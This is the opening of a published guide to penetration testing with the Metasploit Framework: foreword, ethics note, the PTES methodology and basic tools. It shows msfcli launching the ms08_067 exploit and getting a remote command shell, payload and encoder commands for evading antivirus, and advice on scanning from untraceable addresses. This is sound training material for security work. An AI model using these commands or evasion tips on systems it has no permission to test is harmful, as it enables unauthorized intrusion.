Metasploit: The Penetration Tester's Guide
Author: David Kennedy; Jim O'Gorman; Devon Kearns; Mati Aharoni
Date: 2011-07-15T00:00:00+00:00
Keywords: COMPUTERS / Internet / Security
Description: "The best guide to the Metasploit Framework."\n—HD Moore, Founder of the Metasploit Project \n\n The Metasploit Framework is a powerful suite of tools that security researchers use to investigate and resolve potential network and system vulnerabilities. Metasploit: The Penetration Tester’s Guide shows readers how to assess networks by using Metasploit to launch simulated attacks that expose weaknesses in their security.
Publisher: No Starch Press
Rights: Copyright © 2011

Metasploit

David Kennedy

Jim O’Gorman

Devon Kearns

Mati Aharoni

Published by No Starch Press

Foreword

Information technology is a complex field, littered with the half-dead technology of the past and an ever-increasing menagerie of new systems, software, and protocols. Securing today’s enterprise networks involves more than simply patch management, firewalls, and user education; it requires frequent real-world validation of what works and what fails. This is what penetration testing is all about.

Penetration testing is a uniquely challenging job. You are paid to think like a criminal, to use guerilla tactics to your advantage, and to find the weakest links in a highly intricate net of defenses. The things you find can be both surprising and disturbing; penetration tests have uncovered everything from rogue pornography sites to large-scale fraud and criminal activity.

Penetration testing is about ignoring an organization’s perception of its security and probing its systems for weaknesses. The data obtained from a successful penetration test often uncovers issues that no architecture review or vulnerability assessment would be able to identify. Typical findings include shared passwords, cross-connected networks, and troves of sensitive data sitting in the clear. The problems created by sloppy system administration and rushed implementations often pose significant threats to an organization, while the solutions languish under a dozen items on an administrator’s to-do list. Penetration testing highlights these misplaced priorities and identifies what an organization needs to do to defend itself from a real intrusion.

Penetration testers handle a company’s most sensitive resources; they gain access to areas that can have dire real-world consequences if the wrong action is taken. A single misplaced packet can bring a factory floor to a halt, with a cost measured in millions of dollars per hour. Failure to notify the appropriate personnel can result in an uncomfortable and embarrassing conversation with the local police. Medical systems are one area that even the most experienced security professionals may hesitate to test; nobody wants to be responsible for mixing up a patient’s blood type in an OpenVMS mainframe or corrupting the memory on an X-ray machine running Windows XP. The most critical systems are often the most exposed, and few system administrators want to risk an outage by bringing down a database server to apply a security patch.

Balancing the use of available attack paths and the risk of causing damage is a skill that all penetration testers must hone. This process depends not only on a technical knowledge of the tools and the techniques but also on a strong understanding of how the organization operates and where the path of least resistance may lie.

In this book, you will see penetration testing through the eyes of four security professionals with widely divergent backgrounds. The authors include folks with experience at the top of the corporate security structure all the way down to the Wild West world of underground exploit development and vulnerability research. There are a number of books available on penetration testing and security assessments, and there are many that focus entirely on tools. This book, however, strives for a balance between the two, covering the fundamental tools and techniques while also explaining how they play into the overall structure of a successful penetration testing process. Experienced penetration testers will benefit from the discussion of the methodology, which is based on the recently codified Penetration Test Execution Standard. Readers who are new to the field will be presented with a wealth of information not only about how to get started but also why those steps matter and what they mean in the bigger picture.

This book focuses on the Metasploit Framework. This open source platform provides a consistent, reliable library of constantly updated exploits and offers a complete development environment for building new tools and automating every aspect of a penetration test. Metasploit Express and Metasploit Pro, the commercial siblings of the Framework, are also represented in this book. These products provide a different perspective on how to conduct and automate large-scale penetration tests.

The Metasploit Framework is an infamously volatile project; the code base is updated dozens of times every day by a core group of developers and submissions from hundreds of community contributors. Writing a book about the Framework is a masochistic endeavor; by the time that a given chapter has been proofread, the content may already be out of date. The authors took on the Herculean task of writing this book in such a way that the content will still be applicable by the time it reaches its readers.

The Metasploit team has been involved with this book to make sure that changes to the code are accurately reflected and that the final result is as close to zero-day coverage of the Metasploit Framework as is humanly possible. We can state with full confidence that it is the best guide to the Metasploit Framework available today, and it will likely remain so for a long time. We hope you find this book valuable in your work and an excellent reference in your trials ahead.

HD Moore

Founder, The Metasploit Project

Preface

The Metasploit Framework has long been one of the tools most widely used by information security professionals, but for a long time little documentation existed aside from the source code itself or comments on blogs. That situation changed significantly when Offensive-Security developed its online course, Metasploit Unleashed. Shortly after the course went live, No Starch Press contacted us about the possibly of creating a book to expand on our work with Metasploit Unleashed.

This book is designed to teach you the ins and outs of Metasploit and how to use the Framework to its fullest. Our coverage is selective — we won’t cover every single flag or exploit — but we give you the foundation you’ll need to understand and use Metasploit now and in future versions.

When we began writing this book, we had in mind a comment by HD Moore, developer of the Metasploit Framework. In a conversation with HD about the development of our Metasploit Unleashed course, one of us said to him, “I hope the course comes out good.” To this offhand comment, HD merely replied, “Then make sure it is good.” And that’s just what we’ve attempted to do with this book.

As a group, we are experienced penetration testers who use Metasploit daily to circumvent security controls, bypass protections, and attack systems methodically. We wrote this book with the intention of helping our readers become competent penetration testers. HD’s drive and focus on quality is apparent within the Metasploit Framework, and we have tried to match those characteristics in this book. We leave it up to you to judge how well we have lived up to that standard.

Acknowledgments

We would like to thank a number of people, beginning with the folks whose hard work provides the community with an invaluable tool. Special thanks to the Metasploit Team: HD Moore, James Lee, David D. Rude II, Tod Beardsley, Jonathan Cran, Stephen Fewer, Joshua Drake, Mario Ceballos, Ramon Valle,

Patrick Webster, Efrain Torres, Alexandre Maloteaux, Wei Chen, Steve Tornio, Nathan Keltner, Chris Gates, Carlos Perez, Matt Weeks, and Raphael Mudge. Also an extra thanks to Carlos Perez for his assistance in writing portions of the Meterpreter scripting chapter.

Many thanks to Scott White, technical reviewer for this book, for being awesome.

Thanks to Offensive-Security for bringing us all together. The Offensive-Security trademark phrase “Try Harder” alternately inspires and tortures us (ryujin is evil).

We have many other members of the information security community to thank, but there are too many to list and the odds of missing someone are high. So thank you to our friends in the security community; hugs from all of us.

A very special thanks to the whole crew at No Starch Press for their immeasurable effort. Bill, Alison, Travis, and Tyler, it has been a pleasure working with you and everyone else behind the scenes at No Starch Press!

Finally, a big thank you to our families. We are all married and half of us have children. We spend far too long wearing down the plastic on our keyboards and not enough time with them. To our families, thanks for your understanding; we will make it up to you — as soon as we update this next line of code, or find the source of this memory corruption, or finish this svn update, or get this next fuzzer run setup, or . . .

Special Thanks

Dave (Twitter: @dave_rel1k): I dedicate my work on this book to my loving wife Erin, who tolerated late nights of me hammering away at the keyboard. To my three children who keep me young and old at the same time. To my father, Jim; my mother, Janna; and my stepmother, Deb, for being there for me and making me what I am today. Thanks to Jim, Dookie, and Muts for their hard work on the book and for being great friends! To my good friends at Offensive-Security; Chris “Logan” Hadnagy; my brother, Shawn Sullivan; and my team at Diebold. To my good friend HD Moore, whose dedication to the security industry is an inspiration to us all. To all my friends in life, and to Scott Angelo for giving me an opportunity and believing in me. Lastly, to God, without whom none of this would be possible.

Devon (@dookie2000ca): For my beautiful and tolerant wife, who not only supports but encourages my mania. You are my inspiration and motivation; without you by my side in these pursuits, I would never get anywhere. To my co-authors, thank you for having faith in a newcomer and welcoming me as one of your own. Lastly, an especially big thank you to Mati for not only getting this merry band together but for giving me a chance.

Muts (@backtracklinux): A special thanks to the co-authors of this book, whose time and dedication to it is truly inspiring. I count Jim, Devon, and Dave as great friends and colleagues in the security field.

Jim (@_Elwood_): Thanks to Matteo, Chris “Logan,” and the entire Offensive-Security crew. Also a big thanks to Robert, Matt, Chris, and my co-workers at StrikeForce. And to my wonderful wife Melissa: The book you hold in your hands is proof that I was not just avoiding housework all the time. And to Jake and Joe, please don’t tell Mom that I am just playing games with you when I tell her I am working. You three are the Pack-a-Punch to my life. And finally to my co-authors Mati, Devon, and Dave: Thanks for letting me put my name on this book — I really was just avoiding housework.

Introduction

Imagine that sometime in the not-so-distant future an attacker decides to attack a multinational company’s digital assets, targeting hundreds of millions of dollars worth of intellectual property buried behind millions of dollars in infrastructure. Naturally, the attacker begins by firing up the latest version of Metasploit.

After exploring the target’s perimeter, he finds a soft spot and begins a methodical series of attacks, but even after he’s compromised nearly every aspect of the network, the fun has only just begun. He maneuvers through systems, identifying core, critical business components that keep the company running. With a single keystroke, he could help himself to millions of company dollars and compromise all their sensitive data.

Congratulations on a job well done — you’ve shown true business impact, and now it’s time to write the report. Oddly enough, today’s penetration testers often find themselves in the role of a fictitious adversary like the one described above, performing legal attacks at the request of companies that need high levels of security. Welcome to the world of penetration testing and the future of security.

Why Do a Penetration Test?

Companies invest millions of dollars in security programs to protect critical infrastructures, identify chinks in the armor, and prevent serious data breaches. A penetration test is one of the most effective ways to identify systemic weaknesses and deficiencies in these programs. By attempting to circumvent security controls and bypass security mechanisms, a penetration tester is able to identify ways in which a hacker might be able to compromise an organization’s security and damage the organization as a whole.

As you read through this book, remember that you’re not necessarily targeting one system or multiple systems. Your goal is to show, in a safe and controlled manner, how an attacker might be able to cause serious harm to an organization and impact its ability to, among other things, generate revenue, maintain its reputation, and protect its customers.

Why Metasploit?

Metasploit isn’t just a tool; it’s an entire framework that provides the infrastructure needed to automate mundane, routine, and complex tasks. This allows you to concentrate on the unique or specialized aspects of penetration testing and on identifying flaws within your information security program.

As you progress through the chapters in this book and establish a well-rounded methodology, you will begin to see the many ways in which Metasploit can be used in your penetration tests. Metasploit allows you to easily build attack vectors to augment its exploits, payloads, encoders, and more in order to create and execute more advanced attacks. At various points in this book we explain several third-party tools — including some written by the authors of this book — that build on the Metasploit Framework. Our goal is to get you comfortable with the Framework, show you some advanced attacks, and ensure that you can apply these techniques responsibly. We hope you enjoy reading this book as much as we enjoyed creating it. Let the fun and games begin.

A Brief History of Metasploit

Metasploit was originally developed and conceived by HD Moore while he was employed by a security firm. When HD realized that he was spending most of his time validating and sanitizing public exploit code, he began to create a flexible and maintainable framework for the creation and development of exploits. He released his first edition of the Perl-based Metasploit in October 2003 with a total of 11 exploits.

With the help of Spoonm, HD released a total rewrite of the project, Metasploit 2.0, in April 2004. This version included 19 exploits and over 27 payloads. Shortly after this release, Matt Miller (Skape) joined the Metasploit development team, and as the project gained popularity, the Metasploit Framework received heavy backing from the information security community and quickly became a necessary tool for penetration testing and exploitation.

Following a complete rewrite in the Ruby programming language, the Metasploit team released Metasploit 3.0 in 2007. The migration of the Framework from Perl to Ruby took 18 months and resulted in over 150,000 lines of new code. With the 3.0 release, Metasploit saw widespread adoption in the security community and a big increase in user contributions.

In fall 2009, Metasploit was acquired by Rapid7, a leader in the vulnerability-scanning field, which allowed HD to build a team to focus solely on the development of the Metasploit Framework. Since the acquisition, updates have occurred more rapidly than anyone could have imagined. Rapid7 released two commercial products based on the Metasploit Framework: Metasploit Express and Metasploit Pro. Metasploit Express is a lighter version of the Metasploit Framework with a GUI and additional functionality, including reporting, among other useful features. Metasploit Pro is an expanded version of Metasploit Express that touts collaboration and group penetration testing and such features as a one-click virtual private network (VPN) tunnel and much more.

About This Book

This book is designed to teach you everything from the fundamentals of the Framework to advanced techniques in exploitation. Our goal is to provide a useful tutorial for the beginner and a reference for practitioners. However, we won’t always hold your hand. Programming knowledge is a definite advantage in the penetration testing field, and many of the examples in this book will use either the Ruby or Python programming language. Still, while we suggest that you learn a language like Ruby or Python to aid in advanced exploitation and customization of attacks, programming knowledge is not required.

As you grow more comfortable with Metasploit, you will notice that the Framework is frequently updated with new features, exploits, and attacks. This book was developed with the knowledge that Metasploit is continually changing and that no printed book is likely to be able to keep pace with this rapid development. Therefore, we focus on the fundamentals, because once you understand how Metasploit works you will be able to ramp up quickly with updates to the Framework.

What’s in the Book?

How can this book help you to get started or take your skills to the next level? Each chapter is designed to build on the previous one and to help you build your skills as a penetration tester from the ground up.

- Chapter 1, establishes the methodologies around penetration testing.

- Chapter 2, is your introduction to the various tools within the Metasploit Framework.

- Chapter 3, shows you ways to leverage Metasploit in the reconnaissance phase of a penetration test.

- Chapter 4, walks you through identifying vulnerabilities and leveraging vulnerability scanning technology.

- Chapter 5, throws you into exploitation.

- Chapter 6, walks you through the Swiss Army knife of post exploitation: Meterpreter.

- Chapter 7, focuses on the underlying concepts of antivirus evasion techniques.

- Chapter 8, covers client-side exploitation and browser bugs.

- Chapter 9, walks you through auxiliary modules.

- Chapter 10, is your guide to leveraging the Social-Engineer Toolkit in social-engineering attacks.

- Chapter 11, offers a complete run down on Fast-Track, an automated penetration testing framework.

- Chapter 12, shows you how to leverage Karmetasploit for wireless attacks.

- Chapter 13, teaches you how to build your own exploitation module.

- Chapter 14, covers fuzzing and creating exploit modules out of buffer overflows.

- Chapter 15, is an in-depth look at how to port existing exploits into a Metasploit-based module.

- Chapter 16, shows you how to create your own Meterpreter scripts.

- Chapter 17, pulls everything together as it walks you through a simulated penetration test.

A Note on Ethics

Our goal in writing this book is to help you to improve your skills as a penetration tester. As a penetration tester, you will be bypassing security measures; that’s simply part of the job. When you do, keep the following in mind:

- Don’t be malicious.

- Don’t be stupid.

- Don’t attack targets without written permission.

- Consider the consequences of your actions.

- If you do things illegally, you can be caught and put in jail!

Neither the authors of this book nor No Starch Press, its publisher, condones or encourages the misuse of the penetration testing techniques discussed herein. Our goal is to make you smarter, not to help you to get into trouble, because we won’t be there to get you out.

Chapter 1. The Absolute Basics of Penetration Testing

Penetration testing is a way for you to simulate the methods that an attacker might use to circumvent security controls and gain access to an organization’s systems. Penetration testing is more than running scanners and automated tools and then writing a report. And you won’t become an expert penetration tester overnight; it takes years of practice and real-world experience to become proficient.

Currently, there is a shift in the way people regard and define penetration testing within the security industry. The Penetration Testing Execution Standard (PTES) is redefining the penetration test in ways that will affect both new and experienced penetration testers, and it has been adopted by several leading members of the security community. Its charter is to define and raise awareness about what a true penetration test means by establishing a baseline of fundamental principles required to conduct a penetration test. If you’re new to penetration testing or unfamiliar with PTES, visit http://www.pentest-standard.org/ to learn more about it.

The Phases of the PTES

PTES phases are designed to define a penetration test and assure the client organization that a standardized level of effort will be expended in a penetration test by anyone conducting this type of assessment. The standard is divided into seven categories with different levels of effort required for each, depending on the organization under attack.

Pre-engagement Interactions

Pre-engagement interactions typically occur when you discuss the scope and terms of the penetration test with your client. It is critical during pre-engagement that you convey the goals of the engagement. This stage also serves as your opportunity to educate your customer about what is to be expected from a thorough, full-scope penetration test — one without restrictions regarding what can and will be tested during the engagement.

Intelligence Gathering

In the intelligence gathering phase, you will gather any information you can about the organization you are attacking by using social-media networks, Google hacking, footprinting the target, and so on. One of the most important skills a penetration tester can have is the ability to learn about a target, including how it behaves, how it operates, and how it ultimately can be attacked. The information that you gather about your target will give you valuable insight into the types of security controls in place.

During intelligence gathering, you attempt to identify what protection mechanisms are in place at the target by slowly starting to probe its systems. For example, an organization will often only allow traffic on a certain subset of ports on externally facing devices, and if you query the organization on anything other than a whitelisted port, you will be blocked. It is generally a good idea to test this blocking behavior by initially probing from an expendable IP address that you are willing to have blocked or detected. The same holds true when you’re testing web applications, where, after a certain threshold, the web application firewalls will block you from making further requests.

To remain undetected during these sorts of tests, you can perform your initial scans from IP address ranges that can’t be linked back to you and your team. Typically, organizations with an external presence on the Internet experience attacks every day, and your initial probing will likely be an undetected part of the background noise.

Note

In some cases, it might make sense to run very noisy scans from an entirely different IP range other than the one you will be using for the main attack. This will help you determine how well the organization responds to the tools you are using.

Threat Modeling

Threat modeling uses the information you acquired in the intelligence-gathering phase to identify any existing vulnerabilities on a target system. When performing threat modeling, you will determine the most effective attack method, the type of information you are after, and how the organization might be attacked. Threat modeling involves looking at an organization as an adversary and attempting to exploit weaknesses as an attacker would.

Vulnerability Analysis

Having identified the most viable attack methods, you need to consider how you will access the target. During vulnerability analysis, you combine the information that you’ve learned from the prior phases and use it to understand what attacks might be viable. Among other things, vulnerability analysis takes into account port and vulnerability scans, data gathered by banner grabbing, and information collected during intelligence gathering.

Exploitation

Exploitation is probably one of the most glamorous parts of a penetration test, yet it is often done with brute force rather than with precision. An exploit should be performed only when you know almost beyond a shadow of a doubt that a particular exploit will be successful. Of course, unforeseen protective measures might be in place on the target that prevent a particular exploit from working — but before you trigger a vulnerability, you should know that the system is vulnerable. Blindly firing off a mass onslaught of exploits and praying for a shell isn’t productive; it is noisy and provides little if any value to you as a penetration tester or to your client. Do your homework first, and then launch well-researched exploits that are likely to succeed.

Post Exploitation

The post exploitation phase begins after you have compromised one or more systems — but you’re not even close to being done yet.

Post exploitation is a critical component in any penetration test. This is where you differentiate yourself from the average, run-of-the-mill hacker and actually provide valuable information and intelligence from your penetration test. Post exploitation targets specific systems, identifies critical infrastructure, and targets information or data that the company values most and that it has attempted to secure. When you exploit one system after another, you are trying to demonstrate attacks that would have the greatest business impact.

When attacking systems in post exploitation, you should take the time to determine what the various systems do and their different user roles. For example, suppose you compromise a domain infrastructure system and you’re running as an enterprise administrator or have domain administrative-level rights. You might be king of the domain, but what about the systems that communicate with Active Directory? What about the main financial application that is used to pay employees? Could you compromise that system, and then, on the next pay cycle, have it route all the money out of the company to an offshore account? How about the target’s intellectual property?

Suppose, for example, that your client is a large software development shop that ships custom-coded applications to customers for use in manufacturing environments. Can you backdoor their source code and essentially compromise all of their customers? What would that do to harm their brand credibility?

Post exploitation is one of those tricky scenarios in which you must take the time to learn what information is available to you and then use that information to your benefit. An attacker would generally spend a significant amount of time in a compromised system doing the same. Think like a malicious attacker — be creative, adapt quickly, and rely on your wits instead of automated tools.

Reporting

Reporting is by far the most important element of a penetration test. You will use reports to communicate what you did, how you did it, and, most important, how the organization should fix the vulnerabilities discovered during the penetration test.

When performing a penetration test, you’re working from an attacker’s point of view, something that organizations rarely see. The information you obtain during a test is vital to the success of the organization’s information security program and in stopping future attacks. As you compile and report your findings, think about how the organization can use your findings to raise awareness, remediate the issues discovered, and improve overall security rather than just patch the technical vulnerabilities.

At a minimum, divide your report into an executive summary, executive presentation, and technical findings. The technical findings will be used by the client to remediate security holes, but this is also where the value lies in a penetration test. For example, if you find a SQL injection vulnerability in the client’s web-based applications, you might recommend that your client sanitize all user input, leverage parameterized SQL queries, run SQL as a limited user account, and turn on custom error messages.

After the client implements your recommendations and fixes the one specific SQL injection vulnerability, are they really protected from SQL injection? No. An underlying problem likely caused the SQL injection vulnerability in the first place, such as a failure to ensure that third-party applications are secure. Those will need to be fixed as well.

Types of Penetration Tests

Now that you have a basic understanding of the seven PTES categories, let’s examine the two main types of penetration tests: overt and covert. An overt pen test, or “white hat” test, occurs with the organization’s full knowledge; covert tests are designed to simulate the actions of an unknown and unannounced attacker. Both tests offer advantages and disadvantages.

Overt Penetration Testing

Using overt penetration testing, you work with the organization to identify potential security threats, and the organization’s IT or security team shows you the organization’s systems. The one main benefit of an overt test is that you have access to insider knowledge and can launch attacks without fear of being blocked. A potential downside to overt testing is that overt tests might not effectively test the client’s incident response program or identify how well the security program detects certain attacks. When time is limited and certain PTES steps such as intelligence gathering are out of scope, an overt test may be your best option.

Covert Penetration Testing

Unlike overt testing, sanctioned covert penetration testing is designed to simulate the actions of an attacker and is performed without the knowledge of most of the organization. Covert tests are performed to test the internal security team’s ability to detect and respond to an attack.

Covert tests can be costly and time consuming, and they require more skill than overt tests. In the eyes of penetration testers in the security industry, the covert scenario is often preferred because it most closely simulates a true attack. Covert attacks rely on your ability to gain information by reconnaissance. Therefore, as a covert tester, you will typically not attempt to find a large number of vulnerabilities in a target but will simply attempt to find the easiest way to gain access to a system, undetected.

Vulnerability Scanners

Vulnerability scanners are automated tools used to identify security flaws affecting a given system or application. Vulnerability scanners typically work by fingerprinting a target’s operating system (that is, identifying the version and type) as well as any services that are running. Once you have fingerprinted the target’s operating system, you use the vulnerability scanner to execute specific checks to determine whether vulnerabilities exist. Of course, these checks are only as good as their creators, and, as with any fully automated solution, they can sometimes miss or misrepresent vulnerabilities on a system.

Most modern vulnerability scanners do an amazing job of minimizing false positives, and many organizations use them to identify out-of-date systems or potential new exposures that might be exploited by attackers.

Vulnerability scanners play a very important role in penetration testing, especially in the case of overt testing, which allows you to launch multiple attacks without having to worry about avoiding detection. The wealth of knowledge gleaned from vulnerability scanners can be invaluable, but beware of relying on them too heavily. The beauty of a penetration test is that it can’t be automated, and attacking systems successfully requires that you have knowledge and skills. In most cases, when you become a skilled penetration tester, you will rarely use a vulnerability scanner but will rely on your knowledge and expertise to compromise a system.

Pulling It All Together

If you’re new to penetration testing or haven’t really adopted a formal methodology, study the PTES. As with any experiment, when performing a penetration test, ensure that you have a refined and adaptable process that is also repeatable. As a penetration tester, you need to ensure that your intelligence gathering and vulnerability analysis are as expert as possible, to give you an advantage in adapting to scenarios as they present themselves.

Chapter 2. Metasploit Basics

When you encounter the Metasploit Framework (MSF) for the first time, you might be overwhelmed by its many interfaces, options, utilities, variables, and modules. In this chapter, we’ll focus on the basics that will help you make sense of the big picture. We’ll review some basic penetration testing terminology and then briefly cover the various user interfaces that Metasploit has to offer. Metasploit itself is free, open source software, with many contributors in the security community, but two commercial Metasploit versions are also available.

When first using Metasploit, it’s important not to get hung up on that newest exploit; instead, focus on how Metasploit functions and what commands you used to make the exploit possible.

Terminology

Throughout this book, we’ll use various terms that first bear some explanation. The majority of the following basic terms are defined in the context of Metasploit, but they are generally the same throughout the security industry.

Exploit

An exploit is the means by which an attacker, or pen tester for that matter, takes advantage of a flaw within a system, an application, or a service. An attacker uses an exploit to attack a system in a way that results in a particular desired outcome that the developer never intended. Common exploits include buffer overflows, web application vulnerabilities (such as SQL injection), and configuration errors.

Payload

A payload is code that we want the system to execute and that is to be selected and delivered by the Framework. For example, a reverse shell is a payload that creates a connection from the target machine back to the attacker as a Windows command prompt (see Chapter 5), whereas a bind shell is a payload that “binds” a command prompt to a listening port on the target machine, which the attacker can then connect. A payload could also be something as simple as a few commands to be executed on the target operating system.

Shellcode

Shellcode is a set of instructions used as a payload when exploitation occurs. Shellcode is typically written in assembly language. In most cases, a command shell or a Meterpreter shell will be provided after the series of instructions have been performed by the target machine, hence the name.

Module

A module in the context of this book is a piece of software that can be used by the Metasploit Framework. At times, you may require the use of an exploit module, a software component that conducts the attack. Other times, an auxiliary module may be required to perform an action such as scanning or system enumeration. These interchangeable modules are the core of what makes the Framework so powerful.

Listener

A listener is a component within Metasploit that waits for an incoming connection of some sort. For example, after the target machine has been exploited, it may call the attacking machine over the Internet. The listener handles that connection, waiting on the attacking machine to be contacted by the exploited system.

Metasploit Interfaces

Metasploit offers more than one interface to its underlying functionality, including console, command line, and graphical interfaces. In addition to these interfaces, utilities provide direct access to functions that are normally internal to the Metasploit Framework. These utilities can be invaluable for exploit development and situations for which you do not need the flexibility of the entire Framework.

MSFconsole

Msfconsole is by far the most popular part of the Metasploit Framework, and for good reason. It is one of the most flexible, feature-rich, and well-supported tools within the Framework. Msfconsole provides a handy all-in-one interface to almost every option and setting available in the Framework; it’s like a one-stop shop for all of your exploitation dreams. You can use msfconsole to do everything, including launching an exploit, loading auxiliary modules, performing enumeration, creating listeners, or running mass exploitation against an entire network.

Although the Metasploit Framework is constantly changing, a subset of commands remain relatively constant. By mastering the basics of msfconsole, you will be able to keep up with any changes. To illustrate the importance of learning msfconsole, it will be used in nearly every chapter of the book.

Starting MSFconsole

To launch msfconsole, enter msfconsole at the command line:

root@bt:/# cd optframework3/msf3/
root@bt:optframework/msf3# msfconsole
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
msf >

To access msfconsole’s help files, enter help followed by the command which you are interested in. In the next example, we are looking for help for the command connect, which allows us to communicate with a host. The resulting documentation lists usage, a description of the tool, and the various option flags.

msf > help connect

We’ll explore MSFConsole in greater depth in the chapters that follow.

MSFcli

Msfcli and msfconsole take very different approaches to providing access to the Framework. Where msfconsole provides an interactive way to access all features in a user-friendly manner, msfcli puts the priority on scripting and interpretability with other console-based tools. Instead of providing a unique interpreter to the Framework, msfcli runs directly from the command line, which allows you to redirect output from other tools into msfcli and direct msfcli output to other command-line tools. Msfcli also supports the launching of exploits and auxiliary modules, and it can be convenient when testing modules or developing new exploits for the Framework. It is a fantastic tool for unique exploitation when you know exactly which exploit and options you need. It is less forgiving than msfconsole, but it offers some basic help (including usage and a list of modes) with the command msfcli -h, as shown here:

root@bt:optframework3/msf3# msfcli -h
Usage: optframework3/msf3/msfcli <exploit_name> <option=value> [mode]
==============================================================================

Mode Description
---- ---------------
(H)elp You're looking at it, baby!
(S)ummary Show information about this module
(O)ptions Show available options for this module
(A)dvanced Show available advanced options for this module
(I)DS Evasion Show available ids evasion options for this module
(P)ayloads Show available payloads for this module
(T)argets Show available targets for this exploit module
(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module

root@bt:optframework3/msf3#

Sample Usage

Let’s take a look at how you might use msfcli. Don’t worry about the details; these examples are intended to give you a sense of how you might work with this interface.

When you are first learning Metasploit or whenever you get stuck, you can see the options available in a module by appending the letter O to the end of the string at whichever point you are stuck. For example, in the following listing, we use the O to see the options available for the ms08_067_netapi module:

root@bt:/# msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 0.0.0.0 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

You can see that the module requires three options: RHOST, RPORT, and SMPIPE. Now, by adding a P, we can check for available payloads:

root@bt:/# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 P
[*] Please wait while we load the module tree...

Compatible payloads
===================

Name Description
---- -----------
generic/debug_trap Generate a debug trap in the target process
generic/shell_bind_tcp Listen for a connection
and spawn a command shell

Having set all the required options for our exploit and selecting a payload, we can run our exploit by passing the letter E to the end of the msfcli argument string, as shown here:

root@bt:/# msfcli windows/smb/ms08_067_netapi
RHOST=192.168.1.155 PAYLOAD=windows/shell/bind_tcp E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.1.101:46025 -> 192.168.1.155:4444)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

We’re successful, because we have received a Windows command prompt from the remote system.

Armitage

The armitage component of Metasploit is a fully interactive graphical user interface created by Raphael Mudge. This interface is highly impressive, feature rich, and available for free. We won’t be covering armitage in depth, but it is definitely worth mentioning as something to explore. Our goal is to teach the ins and outs of Metasploit, and the GUI is awesome once you understand how the Framework actually operates.

Running Armitage

To launch armitage, run the command armitage. During startup, select Start MSF, which will allow armitage to connect to your Metasploit instance.

root@bt:optframework3/msf3# armitage

After armitage is running, simply click a menu to perform a particular attack or access other Metasploit functionality. For example, Figure 2-1 shows the browser (client-side) exploits.

Figure 2-1. The armitage’s browser exploit menu

Metasploit Utilities

Having covered Metasploit’s three main interfaces, it’s time to cover a few utilities. Metasploit’s utilities are direct interfaces to particular features of the Framework that can be useful in specific situations, especially in exploit development. We will cover some of the more approachable utilities here and introduce additional ones throughout the book.

MSFpayload

The msfpayload component of Metasploit allows you to generate shellcode, executables, and much more for use in exploits outside of the Framework.

Shellcode can be generated in many formats including C, Ruby, JavaScript, and even Visual Basic for Applications. Each output format will be useful in various situations. For example, if you are working with a Python-based proof of concept, C-style output might be best; if you are working on a browser exploit, a JavaScript output format might be best. After you have your desired output, you can easily insert the payload directly into an HTML file to trigger the exploit.

To see which options the utility takes, enter msfpayload -h at the command line, as shown here:

root@bt:/# msfpayload -h

As with msfcli, if you find yourself stuck on the required options for a payload module, append the letter O on the command line for a list of required and optional variables, like so:

root@bt:/# msfpayload windows/shell_reverse_tcp O

We will dive much deeper into msfpayload as we explore exploit development in later chapters.

MSFencode

The shellcode generated by msfpayload is fully functional, but it contains several null characters that, when interpreted by many programs, signify the end of a string, and this will cause the code to terminate before completion. In other words, those x00s and xffs can break your payload!

In addition, shellcode traversing a network in cleartext is likely to be picked up by intrusion detection systems (IDSs) and antivirus software. To address this problem, Metasploit’s developers offer msfencode, which helps you to avoid bad characters and evade antivirus and IDSs by encoding the original payload in a way that does not include “bad” characters. Enter msfencode -h to see a list of msfencode options.

Metasploit contains a number of different encoders for specific situations. Some will be useful when you can use only alphanumeric characters as part of a payload, as is the case with many file format exploits or other applications that accept only printable characters as input, while others are great general purpose encoders that do well in every situation.

When in doubt, though, you really can’t go wrong with the x86/shikata_ ga_nai encoder, the only encoder with the rank of Excellent, a measure of the reliability and stability of a module. In the context of an encoder, an Excellent ranking implies that it is one of the most versatile encoders and can accommodate a greater degree of fine-tuning than other encoders. To see the list of encoders available, append -l to msfencode as shown next. The payloads are ranked in order of reliability.

root@bt:˜# msfencode -l

Nasm Shell

The nasm_shell.rb utility can be handy when you’re trying to make sense of assembly code, especially if, during exploit development, you need to identify the opcodes (the assembly instructions) for a given assembly command.

For example, here we run the tool and request the opcodes for the jmp esp command, which nasm_shell tells us is FFE4.

root@bt:optframework3/msf3/tools# ./nasm_shell.rb

nasm > jmp esp
00000000 FFE4 jmp esp

Metasploit Express and Metasploit Pro

Metasploit Express and Metasploit Pro are commercial web interfaces to the Metasploit Framework. These utilities provide substantial automation and make things easier for new users, while still providing full access to the Framework. Both products also provide tools that are unavailable in the community editions of the Framework, such as automated password brute forcing and automated website attacks. In addition, a nice reporting backend to Metasploit Pro can speed up one of the least popular aspects of penetration testing: writing the report.

Are these tools worth purchasing? Only you can make that choice. The commercial editions of Metasploit are intended for professional penetration testers and can ease many of the more routine aspects of the job, but if the time savings from the automations in these commercial products are useful for you, they might justify the purchase price.

Remember, however, as you automate your work, that humans are better at identifying attack vectors than automated tools.

Wrapping Up

In this chapter, you learned a little bit of the basics of the Metasploit Framework. As you progress through this book, you will begin using these tools in a much more advanced capacity. You’ll find a few different ways to accomplish the same tasks using different tools. It will ultimately be up to you to decide which tool best suits your needs.

Now that you have the basics under control, let’s move to the next phase of the pen testing process: discovery.

Chapter 3. Intelligence Gathering

